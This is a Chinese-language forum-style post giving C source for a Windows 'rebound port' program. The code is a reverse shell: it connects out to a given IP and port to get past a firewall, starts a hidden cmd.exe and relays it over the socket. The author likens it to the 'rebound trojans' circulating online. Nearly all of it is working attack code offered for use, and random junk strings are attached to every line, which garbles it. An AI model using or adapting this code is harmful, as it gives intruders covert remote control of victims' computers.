Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 {rJF)\2  
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/* ============================== x3F L/^S  
Rebound port in Windows NT 1ZW'PXUZ  
By wind,2006/7 /%'7sx[p  
===============================*/ K>JU/(  
#include Y0C<b*!"ST  
#include NP`ll0s  
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#pragma comment(lib,"wsock32.lib") NbMH@6%E  
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void OutputShell(); n8D;6#P^  
SOCKET sClient; ^ /eSby  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Kyiez]T6%q  
) G&3V  
void main(int argc,char **argv) Vx8.FNJh  
{ f5XcBW9E  
WSADATA stWsaData; c)~|#v  
int nRet; nE.s  
SOCKADDR_IN stSaiClient,stSaiServer; @!HMd{r  
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if(argc != 3) #yOY&W:N  
{
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printf("Useage:\n\rRebound DestIP DestPort\n"); & b2(Y4  
return; 5W'|qmJ  
} -+Ji~;b  
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WSAStartup(MAKEWORD(2,2),&stWsaData); rxA)&  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); UsKn4Kh  

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stSaiClient.sin_family = AF_INET; D)$k{v#~  
stSaiClient.sin_port = htons(0); / UBAQ8TR  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); QZP;k!"w  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) +a@SdWf  
{ u3!!_~6,z  
printf("Bind Socket Failed!\n"); \K=PIcH  
return; /'+JP4mK  
} )Em,3I/.l  
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stSaiServer.sin_family = AF_INET; 82l";;n4p  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); pDN,(Ip  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); f}d@G/L  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) (~o+pp!  
{ +T;qvx6  
printf("Connect Error!"); l8li@K  
return; Ghe=hhZ  
} 1 .k}gl0<  
OutputShell(); ZS;kCdL  
} t')I c6.?i  
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void OutputShell() j KK48S  
{ wpmtv325  
char szBuff[1024]; x&p=vUuukP  
SECURITY_ATTRIBUTES stSecurityAttributes;  =7@  
OSVERSIONINFO stOsversionInfo; _Y~?.hs^  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; B-zt(HG  
STARTUPINFO stStartupInfo; C*<LVW{P  
char *szShell; 3N\X{za  
PROCESS_INFORMATION stProcessInformation; S)h1e%f, f  
unsigned long lBytesRead; 1Pc'wfj  
\hX^Cn=6  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ;T(^riAEl  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 2/WXdo  
stSecurityAttributes.lpSecurityDescriptor = 0; s=+
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stSecurityAttributes.bInheritHandle = TRUE; dD!SgK[Jv  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Su~`jRN$  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 'ZZ/:MvQa  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); {:cA'6f.b  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; a WC sLH  
stStartupInfo.wShowWindow = SW_HIDE; zSO9 U  
stStartupInfo.hStdInput = hReadPipe;
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stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Bf'(JJ7&N  

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GetVersionEx(&stOsversionInfo); #/6X
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&aU+6'+QXB  
switch(stOsversionInfo.dwPlatformId) C2T,1=  
{ FeJ5^Gh.  
case 1: ^ TS\x/P  
szShell = "command.com"; ]a()siT  
break; 7[PXZT
  
default: G})mw  
szShell = "cmd.exe"; U
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break; EWi@1PAZK  
} G<I5%Yo6G  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Y,r2m nq  
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send(sClient,szMsg,77,0); yO)Qg*r  
while(1) muLTYgaM  
{ 1['A1,  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); !.A>)+AK  
if(lBytesRead) {z7{ta  
{ mCo5Gdt  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); }HzZj;O^2>  
send(sClient,szBuff,lBytesRead,0); ))vwofkw4  
} ( KrIMZ  
else (`N/1}vk  
{ &W%TY:Da|  
lBytesRead=recv(sClient,szBuff,1024,0);
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if(lBytesRead<=0) break; h=aHZ6v  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); @QofsWC  
} C%&7,F7  
} <5 +?&i  
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return; 0qv)'[O  
}